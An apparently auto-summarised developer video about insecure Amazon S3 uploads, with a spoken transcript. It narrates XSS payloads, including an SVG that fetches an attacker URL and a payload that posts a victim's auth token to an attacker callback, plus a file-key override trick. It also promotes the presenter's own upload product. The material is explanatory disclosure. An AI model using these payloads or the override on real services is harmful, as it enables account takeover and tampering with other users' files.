S3 Is A Security Nightmare (Common Exploit Showcase)

Summary

The video script discusses common security flaws in Amazon S3 configurations, highlighting how pre-signed URLs can be misused for cross-site scripting attacks. It showcases real-world examples of vulnerabilities discovered by community member Eva, emphasizing the importance of proper authentication and file handling. The script also promotes 'UploadThing', a tool designed to simplify secure file uploads, and advises on best practices to avoid such security issues.

Takeaways

• 🔒 S3 (Amazon Simple Storage Service) security issues are common due to misconfigurations that can lead to serious vulnerabilities.
• 👀 A blog post highlighted by the speaker emphasizes the widespread problem of S3 mismanagement and the potential for exploitation.
• 📈 The speaker mentions a previous video about a massive data breach involving Firebase, which underscores the severity of such security issues.
• 🛑 Pre-signed URLs in S3 can be abused if not properly secured, leading to cross-site scripting (XSS) and unauthorized file uploads.
• 🔑 Authentication checks are crucial at every step of the file upload process to prevent unauthorized access and uploads.
• 📦 The process of uploading files directly to S3 can bypass the server, which can reduce costs and improve latency but also introduces risks.
• 🚫 Allowing users to control the file path or key in S3 uploads can lead to overwriting other users' files and should be avoided.
• 🤖 Automated tools and services like UploadThing are designed to simplify secure file uploads and reduce the risk of misconfiguration.
• 🛠️ The importance of setting proper authentication and authorization for cookies and ensuring that file upload endpoints are secure against XSS.
• 💡 The script discusses specific examples of vulnerabilities found in services like Tally and P, where improper S3 configurations were exploited.
• 🔄 The video script serves as a cautionary tale, urging developers and companies to properly secure their S3 implementations to prevent data breaches and service abuse.

Q & A

What is the primary focus of the video script about S3?

The video script focuses on the security issues with Amazon S3, discussing common configuration mistakes that can lead to security flaws, and the potential consequences of not setting up S3 correctly.

Why did the speaker decide to make a video about S3 security issues?

The speaker decided to make a video about S3 security issues after finding a blog post that immediately caught their attention and added to their to-do list for video content.

What is the significance of the pre-signed post URL in S3 uploads?

A pre-signed post URL is significant because it allows a user to upload a file directly to S3 within a specific time frame and with specific permissions, bypassing the need to send the file through a server, which can reduce costs and improve latency.

What are the potential security risks of allowing users to upload files directly to S3 without proper checks?

The potential security risks include cross-site scripting (XSS) attacks, where malicious HTML or JavaScript files can be uploaded, and the possibility of overriding other users' files if the server does not check for file existence.

How can a poorly configured S3 bucket lead to account takeovers?

A poorly configured S3 bucket can lead to account takeovers if HTML files are uploaded to a domain where cookies are not properly set, allowing an attacker to access and exploit the cookies for unauthorized access.

What is the role of authentication in the process of uploading files to S3?

Authentication is crucial to ensure that the user uploading a file is the right user and has the necessary permissions to perform the upload, preventing unauthorized access and potential security breaches.

Why is it important to manage file uploads on your own server instead of allowing direct uploads to S3?

Managing file uploads on your own server allows you to perform authentication checks and ensure that the files being uploaded are legitimate and do not pose a security risk, which is not possible with direct uploads to S3.

What is the purpose of using a service like UploadThing for S3 uploads?

UploadThing is designed to simplify the process of securely uploading files to S3, enforcing authentication and proper file handling, making it difficult to set up incorrectly and reducing the risk of security vulnerabilities.

What are some best practices to avoid when securing S3 uploads?

Best practices to avoid include allowing users to control the file path and key, not setting cookies properly, and not authenticating users on your own server before allowing file uploads.

How can third-party libraries contribute to S3 security issues?

Third-party libraries can contribute to S3 security issues if they are not configured correctly or if they lack proper documentation, leading to common pitfalls and misconfigurations that can be exploited.

What alternatives are available for simplifying S3 uploads and management?

Alternatives for simplifying S3 uploads and management include services like Backblaze B2, Filestack, and UploadThing, which offer APIs and tools to securely and efficiently manage file uploads to S3.

Outlines

00:00

🔒 Insecure S3 Configurations and Their Risks

The video discusses the common security issues with Amazon S3 configurations, highlighting how misconfigurations can lead to significant security flaws. It mentions a blog post that the speaker found enlightening and plans to cover in a video, focusing on the improper setup of S3 and the ease with which accounts can be compromised. The speaker references Eva's work in exposing vulnerabilities in S3 implementations, including a past exploit involving Firebase that compromised numerous websites and potentially exposed billions in bank credentials. The explanation includes a technical diagram to illustrate the process of file uploads to S3, the importance of authentication, and the potential for abuse through pre-signed URLs if not set up correctly.

05:00

🕵️‍♀️ Cross-Site Scripting (XSS) Vulnerabilities in S3 Uploads

This paragraph delves into the specific vulnerabilities found in S3 uploads, particularly with pre-signed posts, as discovered by Eva. It explains how poor handling of content types can allow for the uploading of HTML files, which, if not properly secured, can lead to cross-site scripting attacks. The explanation covers how cookies set on a domain can be accessed by scripts running from that domain, leading to account takeovers if exploited. The video uses the example of a website called Tally, which allows form creation with images and had a vulnerability where HTML files could be uploaded and served, potentially leading to XSS attacks. The discussion includes the technical process of how an SVG file, treated as XML, could be used to execute JavaScript in an HTTP-only environment, bypassing certain security measures.

10:01

🛑 Overriding Files and Insecure S3 Upload Paths

The speaker addresses another common vulnerability where services allow users to control the file path and key during S3 uploads, which can lead to file overriding if not properly checked by the server. Using the example of a service called P, the video explains how a user was able to change the key in a pre-signed URL to override another user's file upload. The issue is highlighted as a widespread problem with many services, and the video suggests that using services like UploadThing can help mitigate such risks by managing file uploads more securely. The speaker emphasizes the importance of proper authentication and avoiding client-side control over file keys to prevent such vulnerabilities.

15:01

🛠️ Solutions for Secure S3 File Management

In the final paragraph, the speaker wraps up by emphasizing the complexity and common pitfalls of managing S3 uploads, especially when using third-party libraries that may not be configured correctly. The video suggests that it can be challenging to set up S3 securely, but it is essential to do so to avoid the risks discussed. The speaker promotes their own product, UploadThing, as a solution that simplifies secure file uploads by enforcing correct configurations by design. They also mention other services that can help manage S3 uploads securely, such as Filestack and Simple File Uploader, and encourage viewers to check out Eva's work for further insights into security best practices.

Keywords

💡S3

S3, or Amazon Simple Storage Service, is a scalable object storage service provided by Amazon Web Services (AWS). It is central to the video's theme as it discusses the security issues related to S3 configuration. The script mentions how misconfigurations can lead to serious security flaws, and it uses S3 as an example of where and how these issues can occur.

💡Security Flaws

Security flaws refer to weaknesses or vulnerabilities in a system that can be exploited by attackers. In the context of the video, security flaws are associated with improper configurations of S3, which can lead to data breaches or unauthorized access. The script highlights the importance of securing S3 to prevent such flaws.

💡Pre-Signed Post URL

A pre-signed post URL is a time-limited URL generated by a server that allows direct uploads to S3 without going through the user's server. This concept is crucial in the video as it explains how skipping the server for file uploads can reduce costs but also introduces security risks if not handled correctly.

💡Cross-Site Scripting (XSS)

Cross-Site Scripting, often abbreviated as XSS, is a type of security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. The video discusses how poor handling of content types in S3 uploads can lead to XSS attacks, emphasizing the severity of such flaws in web security.

💡Authentication

Authentication in the video refers to the process of verifying the identity of a user or device. It is a critical aspect of securing S3 uploads, ensuring that only authorized entities can upload files. The script points out the necessity of authentication checks at every step of the file upload process.

💡Egress Costs

Egress costs are the fees charged for data transferred out of a cloud service, such as AWS S3. The video script discusses how direct uploads to S3 can help reduce egress costs by eliminating the need to transfer data through an intermediary server.

💡Ingress

Ingress, in the context of cloud services, refers to incoming network traffic to a server or service. The script mentions that direct uploads to S3 can also reduce ingress costs, as the data does not first enter the user's server before being sent to S3.

💡File Upload Vulnerabilities

File upload vulnerabilities are security weaknesses that can occur when a system allows users to upload files without proper validation or restrictions. The video script provides examples of how allowing users to control the file path or key in S3 uploads can lead to file override vulnerabilities.

💡Eva

Eva is a community member mentioned in the script who has discovered numerous security issues with S3 and other implementations. The video references Eva's work to highlight the prevalence and severity of S3 security flaws, emphasizing the importance of proper security practices.

💡UploadThing

UploadThing is a service mentioned in the video that aims to simplify and secure file uploads to S3. The script discusses how UploadThing addresses common security pitfalls by enforcing proper authentication and file handling, positioning it as a solution to the issues discussed in the video.

Highlights

Security issues with Amazon S3 configurations can lead to massive flaws, and common mistakes are discussed.

The importance of correctly setting up S3 to prevent potential exploits is emphasized.

Pre-signed POST URLs can be abused for cross-site scripting or unwanted file uploads if not properly secured.

Diagrams are used to explain the process of file uploads and permissions in S3.

Authentication checks are crucial at every step of the file upload process to the server.

The cost and bandwidth implications of file uploads through a service to S3 are discussed.

Pre-signed POST URLs are a way to upload files directly to S3, bypassing the need for server ingestion.

The potential for mistakes with pre-signed POST URLs is highlighted, especially with custom file delimiters.

Cross-site scripting (XSS) vulnerabilities due to poor handling of content types in S3 uploads are explained.

The impact of cookies' scope on domain and subdomains in the context of S3 security is discussed.

Eva's discovery of S3 vulnerabilities in companies and the widespread issue of incorrect S3 setups.

The exploitation of S3 through SVG XML uploads and the risks of HTTP-only cookies.

The use of UploadThing as a solution to common S3 upload problems, emphasizing its ease of setup and security.

The importance of not allowing users to control the file path or key in S3 uploads to prevent overrides.

The risks associated with allowing users to set ACLs in S3 and the potential for unauthorized access.

Recommendations for securing S3, including proper cookie settings and restricting user control over file keys.

The difficulty of correctly configuring S3 due to common pitfalls and the lack of clear documentation.

The introduction of third-party services and APIs designed to simplify and secure S3 file uploads.

A call to action for viewers to correctly secure their S3 setups to prevent exploits and protect their services.

Transcripts

I wanted to do a video about the

security issues with S3 for a while if

you're using it yourself right now

there's a good chance you've made some

configuration issues that could cause

some massive security flaws in February

I found this blog post and I immediately

added it to my to-do for video content

because I want to talk about S3 and all

the things people do wrong with it and

how easy it is to find like an account

ID since then though Our Community

member Eva has done a lot of crazy

with S3 and other people's

implementations on top of it and

honestly this is a much much better post

and a much better video and I can't not

take the opportunity to read it and

share with you guys the hack and the

craziness that is how badly most people

set up and secure their S3 if you

recognize this blog post and this

website it might be because of my

earlier video 900 sites 125 million

accounts and one vulnerability they're

the ones who did the Firebase exploit

that compromised a ton of websites and

found $4 billion of potential Bank

credentials just crazy anyways

we're talking about S3 specifically how

most people suck at securing it and some

of the things that can result if you

don't set it up correctly tldr S3

pre-sign posts or other ways of

uploading files can easily be abused

with cross-site scripting or unwanted

paths for uploads yep if you're not

familiar with a presign post URL it's an

important concept that'll tldr for you

maybe this is going to be more than a

tldr excal draw my beloved let's get

diagramming you have a server we'll call

this your server your server is a box

that does things one of those things is

make sure a user is the right user so if

you have a user we'll have the user be a

circle let's say this user wants to

upload there's a couple different ways

they could do it they could literally

just send the file straight to your

service which is a file upload where the

user just immediately posts the file

maybe it's part of some form data maybe

they're just sending it as a post there

in is some way in which this user that's

on your service is sending this file to

your server usually this has more steps

though usually it's more like this where

the user will send

some type of like permission request to

make sure they have permission to

actually do this thing so which the

server applies yes you can

upload and then and only then do we

actually send the file to your server in

order for this to work you have to have

authentication checks at all of these

steps and once this permission has been

granted you probably have to REO too

because you want to make sure that this

is actually the person doing the upload

but you have to have some level of back

and forth here on top of that it's

important to recognize the size of of

these requests the permission request is

probably going to be like literally 1

kilobyte the response will probably also

be 1 kilobyte the file upload might be

50 megabytes so now your service is

eating 50 megabytes of egress where

you're passing this to your server we

even talked about the other side though

which uh honestly probably better to

have a different shape I'll use uh our

good old Diamond to represent external

services in this case S3 this is the

file storage on Amazon that most people

are using for actually storing their

files once this file has been uploaded

you you probably want to pass it to S3

so it's there forever so we're uploading

the file and then we have to Route this

through your service and then over to S3

so we have to eat the cost of ingesting

the file as well as passing it over we

have to wait till the whole file has

uploaded have it on our server and then

pass it if this file is too big good

luck there's a lot of things you have to

think about when you do this wouldn't it

be really nice if instead of the file

upload happening here you could just

have it go straight to S3 wouldn't that

solve a lot of these problems it

introduces own problems too which is

that your server needs to know when the

upload is done so once S3 is done

ideally it's going to call your service

and say by the way upload completed

because something has to tell your

server when the upload is done believe

it or not the way most Services work is

they'll actually have the user tell the

server hey I just finished uploading

because getting S3 to tell your server

that the uploads complete is way more

annoying than it should be the main

thing I want to talk about here though

is this skipping the step straight to S3

usually what will happen here is you'll

contact us three or do your own things

to sign to create what's called a

pre-sign poost URL which is what gets

sent back here you signed post sent the

pre-sign post URL is a URL that was

generated by your server that allows for

a user within a specific window with

specific permissions and like file

delimiters to then upload that file

straight to S3 so you'd request to your

server hey I want to upload a thing I

want to upload an image up to 4

megabytes your server then responds to

that user with the presign post URL that

they then post the image to to send it

to S3 pre-sign post is just the way we

do this for a bunch of reasons largely

because skipping your server means the

Ingress and the egress costs in and out

get entirely eliminated and the latency

is much better too because the user is

posting straight to S3 instead of going

through a middleman that said pre-sign

post URLs leave a lot of places to make

mistakes which is probably what this

post is focused on back to said post so

you might have recently seen Eva's

tweets about S3 upload and how many

companies can't stop messing it up

believe it or not this a much more

widespread issue than even my tweets

made it out to be check out Eva's

Twitter if you haven't already XYZ Eva

absolute Legend killing it with these

xpls and security discoveries I've

learned a lot from watching them so

check them out anyways this article

covers two common vulnerabilities that

they found within S3 uploads

specifically within pre-signed posts who

doesn't love a good cross-site script

xss everyone's favorite you probably saw

this one coming companies make a files.

some company.com or CDN Doom company.com

subdomain for S3 and when you combine

that with poor handling of content types

of an uploaded endpoint we can upload

HTML files and if their cookies are set

in properly we can use this to take over

accounts this is scary the piece you

need to know in order for this to make

sense is that HTML and JavaScript tags

that are served from a specific URL have

access to the cookies from that domain

so if you set a cookie on google.com and

you serve some HTML on google.com/

whatever that HTML when it runs in the

browser has access to the cookies that

are on that base URL if you set your

cookies in correctly you might also have

those on all your subdomains so if you

set your cookies where they work on

files. google.com as well as on

google.com like the root domain now if

you put an HTML page on files.

google.com and someone can open it you

have access to things that you shouldn't

have access to that is very very scary

for security reasons it's one of the

first things that people look for when

they're trying to exploit Services

because now if you are able to upload

files somewhere you shouldn't and they

can be HTML Pages you can send one of

those links like files.

google.com/ my page. HTML if in here I'm

doing some nasty stuff with cookies and

Google's cookies aren't configured

correctly I now have access to all of

your off credentials and I can now take

over your account cross- site scripting

is one of the scariest ways to exploit

things and now we're seeing just why

well soon we will see just why and what

is possible when you use these exploits

the first example Eva gave was a website

called tally Tally's a modern Google

forms alternative which allows form

Creation with images for this reason

they also have profile pictures they

need to store files that makes sense if

you have a form that has images you need

able to store images they chose a custom

is endpoint that uploads a file for you

to their S3 after performing checks

sounds good right not so fast here's

what the request for uploading something

looks like so here's the request API TSO

upload block asset you get back a

response you have the pixel image the

name the URL storage. T.O and here's the

image pink pixel. PNG image. PNG size 83

I'm sure it's like just 83 bytes cool

looks interesting but what if we tried

an HTML file instead hello image source

X on error alert one cool and now if we

see this she was able to post xss HTML

as an asset to this endpoint and get

back xss HTML with the MIM type being

correct this is a big deal because the

MIM type being correct means that you

can go to this page and your browser

will treat it as HTML and potentially

exploit it EV just pointed out that

browsers will actually try to MIM sniff

even if content type is set to something

else so if you don't manually set your

headers is the host of the service it's

possible that your browser will assume

it's HTML and try to run it anyways even

if you set some other M type elsewhere

so yeah be careful of that cool so now

that it's uploaded let's see what she

does here you can see Hello empty image

tag that is broken but it didn't alert

which means that something's getting

trimmed it looks like it didn't work

let's look at the Dom hm looks like

tally sanitized our xss payload out so

they kind of thought of this but it's

likely not foolproof that's very

interesting that they let you upload

HTML they just try to sanitize it before

it gets to the user to remove things

like JS tags fun let's see how this

works or more importantly how this gets

exploited looks like it got sanitized so

they thought of this yada yada on error

fetch attacker URL script. then a text

then doing some vals cool and then the

xmlns is W3 .org this is forcing the XML

parsing mode ooh this actually works

this allows me or bad actor to get

cross-site scripting on files. T.O which

has the session cookie in scope but it's

HTTP only how can we get the cookie when

it's HTTP only very interesting oh ha

thank you Eva for pointing that out it's

not an HTML Doc it's an XML doc because

they're uploading this as SVG XML very

clever very clever these are the things

where like if your service isn't

accounting for it you're SC and if

you're trying to DIY all these Solutions

they're not going to work we'll talk

about the easiest ways to work around

these things in a bit and early warning

this will include a couple self plugs so

know that but for now XML SVG XML

specifically seems like a good way to

hack some JavaScript into a place where

it doesn't belong and according to chat

both Eva and neotherm a lot of places

don't actually secure SVG uploads which

is terrifying but sadly doesn't surprise

me so how do we deal with the fact they

files endpoint is only HTTP not https

turns out that tally has an endpoint for

us that lets us get an authentication

token from a refresh cookie and its web

app also needs this token for the API so

this is intentional here's my final

payload served by my web server refret

this page with credentials included and

then a. json. then await fetch attack or

call back method post body headers

content type window location replace

to.so very

interesting and here's what my silly

little web server gets when someone

clicks this link

so here they get the full dump of this

user's information when somebody goes to

the page so if they send them that SVG

and they open it they get all of this

sent over afterwards the do replace is

just a cleanup so that it looks like you

just went to the T homepage it's not

actually important very good to

know authorization token no oh Eva

organization id never change never

change love this full pwned cool one

click full pone of your t account isn't

that just really good well no Bounty was

awarded for this I can't blame them

they're a startup and they still fix the

issue very quickly but as you can see

these exploits are very powerful so

obviously Eva continued S3 paths are

tasty some Services allow the user to

control the path and key of the file to

upload while uploading common libraries

also do this next S3 upload oh boy don't

tell me the next S3 upload library is

this easily compromised interesting this

is a problem when the server doesn't

check if the file already exists

allowing the client to override other

people's

files I see where this one's going and

this is again something that people

every service I've seen gets wrong do I

do the upload thing plug now or do I

wait a little bit it's very tempting to

plug upload thing right now but I'm

going to wait for the time being we'll

get to it in a bit I am sure exhibit B P

yes I did choose the specific example to

make it rhyme with

t never change

Eva anyways p is a way for streamers to

set up a donation page and split it

across their team such as their mods

they have Channel banners and channel

profile pictures so they need a way to

store that data they chose to use S3 to

do this here's what a request to upload

an image would look like API p g V10

upload sign ACL public read key is the

key for the file and then file types

image PNG I already am seeing the

problem here my assumption before we go

any further is that this key is

something you're setting which means you

can set this key to something that you

shouldn't be able to upload and then

override it then this returns a pre-sign

post URL the key is randomly generated

by the client so what happens if I

change the key into something that's

already used by another user well that's

exactly what I did and it worked so for

an entire minute Thor's profile picture

on P was a gnome while watching pirate

software for the Apex situation stream

found this donation link with P found a

way to override it basically it was just

a classic case of insecured three

uploads can I say on four yep but then

here alternatively use something like

upload thing to do the file uploads for

you I'm going to take the opportunity

here cuz you mentioned it first upload

thing was built to solve a lot of these

problems the number of places that I

seen that are doing file uploads just

like entirely incorrectly be it things

like this be it eating egress cost and

Ingress costs they shouldn't be eating

be it just not authenticating on their

servers properly be it allowing uploads

that they shouldn't there are so many

things I've seen like everyone get wrong

including the naming of these things

something that we do when we go to

upload thing files or when you're

uploading it in the first place if I

just go to my T3 Gallery tutorials files

all of these files have a key that we

set and if you look at the URL you'll

see the URL has this key in front front

and then it has the PNG at the end when

you save this file we're actually using

other things to get the name that aren't

included and this URL for the file is

generated by us so there's no world in

which you can override someone's file

here it's just not viable you can't do

it which is again really important and

most people configure these things

incorrectly that's why we did it so yeah

if you want to set up these things

correctly upload things really easy

really cheap we have a guide on how to

get started takes literal minutes to do

some people it actually takes literal

seconds to do we had a speedrun Content

people were setting up upload thing in

literally under 10 seconds on a new

service while also being fully

authenticated which is an important part

we actually require with upload thing

that you manage everything on your own

service so if we see here this file

router this is where you authenticate a

user to upload this code runs on your

server because we so strongly believe

that you need to authenticate the users

not us all of these patterns are things

that we're strictly enforcing because

most people do these things wrong so we

just made them the default we made doing

them correctly the default and as long

as you scroll through and copy paste all

this code it is very very hard to set up

upload thing in a way that is unsafe by

Design I also see some of the upload

things speedrun winners hanging out in

chat and bed set some insane scores on

that speedrun embed just link their

records upload thing speedrun of 9

seconds and 245 milliseconds absolute

Insanity there's a couple cheats here

that let them do it so fast specifically

that they use their bash history to fill

out most of the back end code here but

uh yeah that allowed them to set this up

and get it working in literally

seconds drag and drop the file go here

and then you see it already uploaded

actual

Insanity so it should be that easy

anyways setting this on the client is a

terrible idea and I hope that by now you

guys can understand why also allowing

the user to set ACL is terrifying the

results are not surprising either when

you leave things like this accessible to

the users terrifying they also didn't

offer a bug but they're also a smaller

startup so that's fair especially if

they fixed it since like you're getting

your value out of this blog post and

again check out Eva if you haven't

already she's good at this stuff you can

probably pay her to pone your stuff and

make sure you pay her for her efforts

because she knows what she's doing and

she deserves some money for it so how do

we fix this we could simply avoid the

examples above set your cookies properly

and not allow people to control the key

important stuff in conclusion S3 is

pretty hard to do because of the common

pitfalls people come across while using

third party libraries specifically

ignorance if you're using third- partyy

libraries to manage your actual uploads

it is pretty easy to do it wrong this is

something that we've extensively covered

in the past and S3's lack of good docs

amplifies the issue I absolutely agree

that's too hard though can somebody do

it for me there's many products

available to simplify S3 or redo it

entirely here's a few pumped to be the

first one in the list the B scale file

upload API from what I've heard is

pretty solid file stack I've heard a

little bit about but I'm less familiar

with uh simple file uploader and

Powerful apis to upload transform and

deliver things in your app cool haven't

used this one so I don't know how good

it is to recommend also their

competition so I'm not going to linger

on it too much but yes this is why we

built upload thing we put a lot of work

into it and I hope this video helps you

understand exactly why managing your

files is a scary thing and I see way too

many people doing it wrong hopefully

this incentivizes you to do it right and

until next time peace nerds